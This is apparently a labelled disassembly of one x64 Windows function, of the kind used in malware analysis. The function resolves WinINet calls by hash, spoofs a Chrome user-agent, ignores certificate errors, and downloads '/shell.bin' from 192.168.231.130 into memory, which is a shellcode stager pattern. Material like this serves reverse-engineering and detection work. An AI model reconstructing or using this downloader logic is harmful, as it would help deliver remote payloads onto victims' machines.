Function at 0x140001540
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rdi, rcx
call fcn.140001400
mov edx, 0x54c1d227
mov rcx, rax
call fcn.140001250
lea rcx, str.wininet.dll
mov qword [0x1400066a0], rax
call rax
mov edx, 0x154be30f
mov rcx, rax
mov rbx, rax
call fcn.140001250
mov edx, 0x51cc39cf
mov qword [0x140006668], rax
mov rcx, rbx
call fcn.140001250
mov edx, 0x3084192
mov qword [0x140006670], rax
mov rcx, rbx
call fcn.140001250
mov edx, 0xd8c64f22
mov qword [0x140006678], rax
mov rcx, rbx
call fcn.140001250
mov edx, 0xa14cfda5
mov qword [0x140006680], rax
mov rcx, rbx
call fcn.140001250
mov edx, 0xf1ff9642
mov qword [0x140006688], rax
mov rcx, rbx
call fcn.140001250
mov edx, 0x9e679473
mov qword [0x140006690], rax
mov rcx, rbx
call fcn.140001250
mov qword [0x140006698], rax
call fcn.140001400
mov rcx, rax
mov edx, 0xbb616e
call fcn.140001250
mov qword [0x140006660], rax
test rax, rax
jne 0x14000163b
lea rcx, str.GetTickCount64_n
call fcn.140001be0
cmp qword [0x140006668], 0
jne 0x140001651
lea rcx, str.InternetOpenA_n
call fcn.140001be0
cmp qword [0x140006670], 0
jne 0x140001667
lea rcx, str.InternetConnectA_n
call fcn.140001be0
cmp qword [0x140006678], 0
jne 0x14000167d
lea rcx, str.HttpOpenRequestA_n
call fcn.140001be0
cmp qword [0x140006680], 0
jne 0x140001693
lea rcx, str.InternetSetOptionA_n
call fcn.140001be0
cmp qword [0x140006688], 0
jne 0x1400016a9
lea rcx, str.HttpSendRequestA_n
call fcn.140001be0
cmp qword [0x140006690], 0
jne 0x1400016bf
lea rcx, str.InternetReadFile_n
call fcn.140001be0
cmp qword [0x140006698], 0
jne 0x1400016d5
lea rcx, str.InternetCloseHandle_n
call fcn.140001be0
xor ebx, ebx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.0.0_Safari_537.36
xor r9d, r9d
mov dword [rsp + 0x40], ebx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
lea edx, [rbx + 1]
call qword [0x140006668]
mov rbp, rax
test rax, rax
je 0x140001738
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x50]
mov dword [rsp + 0x30], ebx
lea rdx, str.192.168.231.130
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [0x140006670]
test rax, rax
jne 0x140001742
mov rcx, rbp
call qword [0x140006698]
mov eax, 0xffffffff
jmp 0x14000185a
mov qword [rsp + 0x38], rbx
lea r8, str._shell.bin
mov dword [rsp + 0x30], 0x4000000
lea rdx, [0x1400044f0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x488], rsi
mov rcx, rax
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x490], r14
call qword [0x140006678]
mov r9d, 4
mov dword [rsp + 0x44], 0x3100
lea r8, [rsp + 0x44]
mov rcx, rax
mov rsi, rax
lea edx, [r9 + 0x1b]
call qword [0x140006680]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [0x140006688]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi], rax
mov r14, 0xffffffffffffffff
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [0x140006690]
test eax, eax
je 0x14000182f
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140001836
mov rcx, qword [rdi]
lea edx, [rbx + rax]
add edx, 1
cmovb rdx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140001875
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov ecx, ebx
add rcx, rax
mov qword [rdi], rax
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x40]
mov rax, qword [rdi]
mov byte [rbx + rax], 0
cmp dword [rsp + 0x40], 0
ja 0x1400017d0
mov rcx, rbp
call qword [0x140006698]
mov rcx, rsi
call qword [0x140006698]
mov eax, ebx
mov rsi, qword [rsp + 0x488]
mov r14, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140002200
add rsp, 0x460
pop rdi
pop rbp
pop rbx
ret
jmp 0x14000184a